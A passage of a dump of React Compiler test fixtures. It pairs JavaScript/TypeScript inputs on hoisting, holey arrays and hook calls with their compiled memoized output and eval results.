    "content": "\n## Input\n\n```javascript\nfunction hoisting() {\n  let qux = () => {\n    let result;\n    {\n      result = foo();\n    }\n    return result;\n  };\n  let foo = () => {\n    return bar + baz;\n  };\n  let bar = 3;\n  const baz = 2;\n  return qux(); // OK: called outside of TDZ\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction hoisting() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const qux = () => {\n      let result;\n      result = foo();\n      return result;\n    };\n    let foo = () => bar + baz;\n    let bar = 3;\n    const baz = 2;\n    t0 = qux();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) 5"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-nested-let-declaration.js",
    "content": "function hoisting() {\n  let qux = () => {\n    let result;\n    {\n      result = foo();\n    }\n    return result;\n  };\n  let foo = () => {\n    return bar + baz;\n  };\n  let bar = 3;\n  const baz = 2;\n  return qux(); // OK: called outside of TDZ\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-object-method.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction hoisting() {\n  const x = {\n    foo() {\n      return bar();\n    },\n  };\n  const bar = () => {\n    return 1;\n  };\n\n  return x.foo(); // OK: bar's value is only accessed outside of its TDZ\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction hoisting() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const x = {\n      foo() {\n        return bar();\n      },\n    };\n    const bar = _temp;\n    t0 = x.foo();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\nfunction _temp() {\n  return 1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) 1"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-object-method.js",
    "content": "function hoisting() {\n  const x = {\n    foo() {\n      return bar();\n    },\n  };\n  const bar = () => {\n    return 1;\n  };\n\n  return x.foo(); // OK: bar's value is only accessed outside of its TDZ\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-reassigned-let-declaration.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {CONST_NUMBER0, CONST_NUMBER1, Stringify} from 'shared-runtime';\n\nfunction useHook({cond}) {\n  'use memo';\n  const getX = () => x;\n\n  let x = CONST_NUMBER0;\n  if (cond) {\n    x += CONST_NUMBER1;\n  }\n  return <Stringify getX={getX} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{cond: true}],\n  sequentialRenders: [{cond: true}, {cond: true}, {cond: false}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { CONST_NUMBER0, CONST_NUMBER1, Stringify } from \"shared-runtime\";\n\nfunction useHook(t0) {\n  \"use memo\";\n  const $ = _c(2);\n  const { cond } = t0;\n  let t1;\n  if ($[0] !== cond) {\n    const getX = () => x;\n    let x = CONST_NUMBER0;\n    if (cond) {\n      x = x + CONST_NUMBER1;\n      x;\n    }\n    t1 = <Stringify getX={getX} shouldInvokeFns={true} />;\n    $[0] = cond;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{ cond: true }],\n  sequentialRenders: [{ cond: true }, { cond: true }, { cond: false }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"getX\":{\"kind\":\"Function\",\"result\":1},\"shouldInvokeFns\":true}</div>\n<div>{\"getX\":{\"kind\":\"Function\",\"result\":1},\"shouldInvokeFns\":true}</div>\n<div>{\"getX\":{\"kind\":\"Function\",\"result\":0},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-reassigned-let-declaration.js",
    "content": "import {CONST_NUMBER0, CONST_NUMBER1, Stringify} from 'shared-runtime';\n\nfunction useHook({cond}) {\n  'use memo';\n  const getX = () => x;\n\n  let x = CONST_NUMBER0;\n  if (cond) {\n    x += CONST_NUMBER1;\n  }\n  return <Stringify getX={getX} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{cond: true}],\n  sequentialRenders: [{cond: true}, {cond: true}, {cond: false}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-reassigned-twice-let-declaration.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {CONST_NUMBER0, CONST_NUMBER1, Stringify} from 'shared-runtime';\n\nfunction useHook({cond}) {\n  'use memo';\n  const getX = () => x;\n\n  let x = CONST_NUMBER0;\n  if (cond) {\n    x += CONST_NUMBER1;\n    x = Math.min(x, 100);\n  }\n  return <Stringify getX={getX} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{cond: true}],\n  sequentialRenders: [{cond: true}, {cond: true}, {cond: false}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { CONST_NUMBER0, CONST_NUMBER1, Stringify } from \"shared-runtime\";\n\nfunction useHook(t0) {\n  \"use memo\";\n  const $ = _c(2);\n  const { cond } = t0;\n  let t1;\n  if ($[0] !== cond) {\n    const getX = () => x;\n    let x = CONST_NUMBER0;\n    if (cond) {\n      x = x + CONST_NUMBER1;\n      x;\n      x = Math.min(x, 100);\n    }\n    t1 = <Stringify getX={getX} shouldInvokeFns={true} />;\n    $[0] = cond;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{ cond: true }],\n  sequentialRenders: [{ cond: true }, { cond: true }, { cond: false }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"getX\":{\"kind\":\"Function\",\"result\":1},\"shouldInvokeFns\":true}</div>\n<div>{\"getX\":{\"kind\":\"Function\",\"result\":1},\"shouldInvokeFns\":true}</div>\n<div>{\"getX\":{\"kind\":\"Function\",\"result\":0},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-reassigned-twice-let-declaration.js",
    "content": "import {CONST_NUMBER0, CONST_NUMBER1, Stringify} from 'shared-runtime';\n\nfunction useHook({cond}) {\n  'use memo';\n  const getX = () => x;\n\n  let x = CONST_NUMBER0;\n  if (cond) {\n    x += CONST_NUMBER1;\n    x = Math.min(x, 100);\n  }\n  return <Stringify getX={getX} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{cond: true}],\n  sequentialRenders: [{cond: true}, {cond: true}, {cond: false}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-recursive-call-within-lambda.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo({}) {\n  const outer = val => {\n    const fact = x => {\n      if (x <= 0) {\n        return 1;\n      }\n      return x * fact(x - 1);\n    };\n    return fact(val);\n  };\n  return outer(3);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo(t0) {\n  const $ = _c(1);\n  const outer = _temp;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = outer(3);\n    $[0] = t1;\n  } else {\n    t1 = $[0];\n  }\n  return t1;\n}\nfunction _temp(val) {\n  const fact = (x) => {\n    if (x <= 0) {\n      return 1;\n    }\n    return x * fact(x - 1);\n  };\n  return fact(val);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) 6"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-recursive-call-within-lambda.js",
    "content": "function Foo({}) {\n  const outer = val => {\n    const fact = x => {\n      if (x <= 0) {\n        return 1;\n      }\n      return x * fact(x - 1);\n    };\n    return fact(val);\n  };\n  return outer(3);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-recursive-call.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Foo({value}: {value: number}) {\n  const factorial = (x: number) => {\n    if (x <= 1) {\n      return 1;\n    } else {\n      return x * factorial(x - 1);\n    }\n  };\n\n  return factorial(value);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{value: 3}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Foo(t0) {\n  const $ = _c(2);\n  const { value } = t0;\n  let t1;\n  if ($[0] !== value) {\n    const factorial = (x) => {\n      if (x <= 1) {\n        return 1;\n      } else {\n        return x * factorial(x - 1);\n      }\n    };\n    t1 = factorial(value);\n    $[0] = value;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ value: 3 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) 6"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-recursive-call.ts",
    "content": "function Foo({value}: {value: number}) {\n  const factorial = (x: number) => {\n    if (x <= 1) {\n      return 1;\n    } else {\n      return x * factorial(x - 1);\n    }\n  };\n\n  return factorial(value);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{value: 3}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-repro-variable-used-in-assignment.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction get2() {\n  const callbk = () => {\n    const copy = x;\n    return copy;\n  };\n  const x = 2;\n  return callbk();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: get2,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction get2() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const callbk = () => {\n      const copy = x;\n      return copy;\n    };\n    const x = 2;\n    t0 = callbk();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: get2,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) 2"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-repro-variable-used-in-assignment.js",
    "content": "function get2() {\n  const callbk = () => {\n    const copy = x;\n    return copy;\n  };\n  const x = 2;\n  return callbk();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: get2,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-setstate-captured-indirectly-jsx.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nfunction useFoo() {\n  const onClick = response => {\n    setState(DISABLED_FORM);\n  };\n\n  const [state, setState] = useState();\n  const handleLogout = useCallback(() => {\n    setState(DISABLED_FORM);\n  }, [setState]);\n  const getComponent = () => {\n    return <ColumnItem onPress={() => handleLogout()} />;\n  };\n\n  // this `getComponent` call should not be inferred as mutating setState\n  return [getComponent(), onClick]; // pass onClick to avoid dce\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\nfunction useFoo() {\n  const $ = _c(7);\n  const onClick = (response) => {\n    setState(DISABLED_FORM);\n  };\n\n  const [, t0] = useState();\n  const setState = t0;\n  let t1;\n  if ($[0] !== setState) {\n    t1 = () => {\n      setState(DISABLED_FORM);\n    };\n    $[0] = setState;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  setState;\n  const handleLogout = t1;\n  let t2;\n  if ($[2] !== handleLogout) {\n    const getComponent = () => <ColumnItem onPress={() => handleLogout()} />;\n    t2 = getComponent();\n    $[2] = handleLogout;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  let t3;\n  if ($[4] !== onClick || $[5] !== t2) {\n    t3 = [t2, onClick];\n    $[4] = onClick;\n    $[5] = t2;\n    $[6] = t3;\n  } else {\n    t3 = $[6];\n  }\n  return t3;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-setstate-captured-indirectly-jsx.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nfunction useFoo() {\n  const onClick = response => {\n    setState(DISABLED_FORM);\n  };\n\n  const [state, setState] = useState();\n  const handleLogout = useCallback(() => {\n    setState(DISABLED_FORM);\n  }, [setState]);\n  const getComponent = () => {\n    return <ColumnItem onPress={() => handleLogout()} />;\n  };\n\n  // this `getComponent` call should not be inferred as mutating setState\n  return [getComponent(), onClick]; // pass onClick to avoid dce\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-simple-const-declaration.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction hoisting() {\n  const foo = () => {\n    return bar + baz;\n  };\n  const bar = 3;\n  const baz = 2;\n  return foo(); // OK: called outside of TDZ for bar/baz\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction hoisting() {\n  const $ = _c(1);\n  let foo;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    foo = () => bar + baz;\n\n    const bar = 3;\n    const baz = 2;\n    $[0] = foo;\n  } else {\n    foo = $[0];\n  }\n  return foo();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) 5"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-simple-const-declaration.js",
    "content": "function hoisting() {\n  const foo = () => {\n    return bar + baz;\n  };\n  const bar = 3;\n  const baz = 2;\n  return foo(); // OK: called outside of TDZ for bar/baz\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-simple-function-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction hoisting() {\n  const foo = () => {\n    return bar();\n  };\n  const bar = () => {\n    return 1;\n  };\n\n  return foo(); // OK: bar's value is only accessed outside of its TDZ\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction hoisting() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const foo = () => bar();\n    const bar = _temp;\n    t0 = foo();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\nfunction _temp() {\n  return 1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) 1"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-simple-function-expression.js",
    "content": "function hoisting() {\n  const foo = () => {\n    return bar();\n  };\n  const bar = () => {\n    return 1;\n  };\n\n  return foo(); // OK: bar's value is only accessed outside of its TDZ\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-simple-let-declaration.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction hoisting() {\n  let foo = () => {\n    return bar + baz;\n  };\n  let bar = 3;\n  let baz = 2;\n  return foo(); // OK: called outside of TDZ for bar/baz\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction hoisting() {\n  const $ = _c(1);\n  let foo;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    foo = () => bar + baz;\n\n    let bar = 3;\n    let baz = 2;\n    $[0] = foo;\n  } else {\n    foo = $[0];\n  }\n  return foo();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) 5"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-simple-let-declaration.js",
    "content": "function hoisting() {\n  let foo = () => {\n    return bar + baz;\n  };\n  let bar = 3;\n  let baz = 2;\n  return foo(); // OK: called outside of TDZ for bar/baz\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-within-lambda.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component({}) {\n  const outer = () => {\n    const inner = () => {\n      return x;\n    };\n    const x = 3;\n    return inner();\n  };\n  return <div>{outer()}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(t0) {\n  const $ = _c(1);\n  const outer = _temp;\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = <div>{outer()}</div>;\n    $[0] = t1;\n  } else {\n    t1 = $[0];\n  }\n  return t1;\n}\nfunction _temp() {\n  const inner = () => x;\n  const x = 3;\n  return inner();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>3</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hoisting-within-lambda.js",
    "content": "function Component({}) {\n  const outer = () => {\n    const inner = () => {\n      return x;\n    };\n    const x = 3;\n    return inner();\n  };\n  return <div>{outer()}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-expr.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {CONST_STRING0} from 'shared-runtime';\n\nfunction t(props) {\n  let x = [, CONST_STRING0, props];\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: t,\n  params: [{a: 1, b: 2}],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { CONST_STRING0 } from \"shared-runtime\";\n\nfunction t(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props) {\n    t0 = [, CONST_STRING0, props];\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: t,\n  params: [{ a: 1, b: 2 }],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) [null,\"global string 0\",{\"a\":1,\"b\":2}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-expr.js",
    "content": "import {CONST_STRING0} from 'shared-runtime';\n\nfunction t(props) {\n  let x = [, CONST_STRING0, props];\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: t,\n  params: [{a: 1, b: 2}],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-pattern-dce-2.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction t(props) {\n  let [foo, bar, ,] = props;\n  return foo;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: t,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction t(props) {\n  const [foo] = props;\n  return foo;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: t,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-pattern-dce-2.js",
    "content": "function t(props) {\n  let [foo, bar, ,] = props;\n  return foo;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: t,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-pattern-dce.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction t(props) {\n  let [, foo, bar] = props;\n  return foo;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: t,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction t(props) {\n  const [, foo] = props;\n  return foo;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: t,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/holey-array-pattern-dce.js",
    "content": "function t(props) {\n  let [, foo, bar] = props;\n  return foo;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: t,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-call-freezes-captured-memberexpr.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useIdentity, Stringify, identity} from 'shared-runtime';\n\nfunction Foo({val1}) {\n  // `x={inner: val1}` should be able to be memoized\n  const x = {inner: val1};\n\n  // Any references to `x` after this hook call should be read-only\n  const cb = useIdentity(() => x.inner);\n\n  // With enableTransitivelyFreezeFunctionExpressions, it's invalid\n  // to write to `x` after it's been frozen.\n  // TODO: runtime validation for DX\n  const copy = identity(x);\n  return <Stringify copy={copy} cb={cb} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{val1: 1}],\n  sequentialRenders: [{val1: 1}, {val1: 1}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useIdentity, Stringify, identity } from \"shared-runtime\";\n\nfunction Foo(t0) {\n  const $ = _c(9);\n  const { val1 } = t0;\n  let t1;\n  if ($[0] !== val1) {\n    t1 = { inner: val1 };\n    $[0] = val1;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const x = t1;\n  let t2;\n  if ($[2] !== x.inner) {\n    t2 = () => x.inner;\n    $[2] = x.inner;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  const cb = useIdentity(t2);\n  let t3;\n  if ($[4] !== x) {\n    t3 = identity(x);\n    $[4] = x;\n    $[5] = t3;\n  } else {\n    t3 = $[5];\n  }\n  const copy = t3;\n  let t4;\n  if ($[6] !== cb || $[7] !== copy) {\n    t4 = <Stringify copy={copy} cb={cb} shouldInvokeFns={true} />;\n    $[6] = cb;\n    $[7] = copy;\n    $[8] = t4;\n  } else {\n    t4 = $[8];\n  }\n  return t4;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ val1: 1 }],\n  sequentialRenders: [{ val1: 1 }, { val1: 1 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"copy\":{\"inner\":1},\"cb\":{\"kind\":\"Function\",\"result\":1},\"shouldInvokeFns\":true}</div>\n<div>{\"copy\":{\"inner\":1},\"cb\":{\"kind\":\"Function\",\"result\":1},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-call-freezes-captured-memberexpr.tsx",
    "content": "import {useIdentity, Stringify, identity} from 'shared-runtime';\n\nfunction Foo({val1}) {\n  // `x={inner: val1}` should be able to be memoized\n  const x = {inner: val1};\n\n  // Any references to `x` after this hook call should be read-only\n  const cb = useIdentity(() => x.inner);\n\n  // With enableTransitivelyFreezeFunctionExpressions, it's invalid\n  // to write to `x` after it's been frozen.\n  // TODO: runtime validation for DX\n  const copy = identity(x);\n  return <Stringify copy={copy} cb={cb} shouldInvokeFns={true} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{val1: 1}],\n  sequentialRenders: [{val1: 1}, {val1: 1}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-call.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFreeze() {}\nfunction foo() {}\n\nfunction Component(props) {\n  const x = [];\n  const y = useFreeze(x);\n  foo(y, x);\n  return (\n    <Component>\n      {x}\n      {y}\n    </Component>\n  );\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useFreeze() {}\nfunction foo() {}\n\nfunction Component(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const x = t0;\n  const y = useFreeze(x);\n  foo(y, x);\n  let t1;\n  if ($[1] !== y) {\n    t1 = (\n      <Component>\n        {x}\n        {y}\n      </Component>\n    );\n    $[1] = y;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-call.js",
    "content": "function useFreeze() {}\nfunction foo() {}\n\nfunction Component(props) {\n  const x = [];\n  const y = useFreeze(x);\n  foo(y, x);\n  return (\n    <Component>\n      {x}\n      {y}\n    </Component>\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-declaration-basic.flow.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow @compilationMode:\"infer\"\nexport default hook useFoo(bar: number) {\n  return [bar];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [42],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nexport default function useFoo(bar) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== bar) {\n    t0 = [bar];\n    $[0] = bar;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [42],\n};\n\n```\n      \n### Eval output\n(kind: ok) [42]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-declaration-basic.flow.js",
    "content": "// @flow @compilationMode:\"infer\"\nexport default hook useFoo(bar: number) {\n  return [bar];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [42],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-inside-logical-expression.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const user =\n    useFragment(\n      graphql`\n        fragment F on T {\n          id\n        }\n      `,\n      props.user\n    ) ?? {};\n  return user.name;\n}\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  const user =\n    useFragment(\n      graphql`\n        fragment F on T {\n          id\n        }\n      `,\n      props.user,\n    ) ?? {};\n  return user.name;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/hook-inside-logical-expression.js",
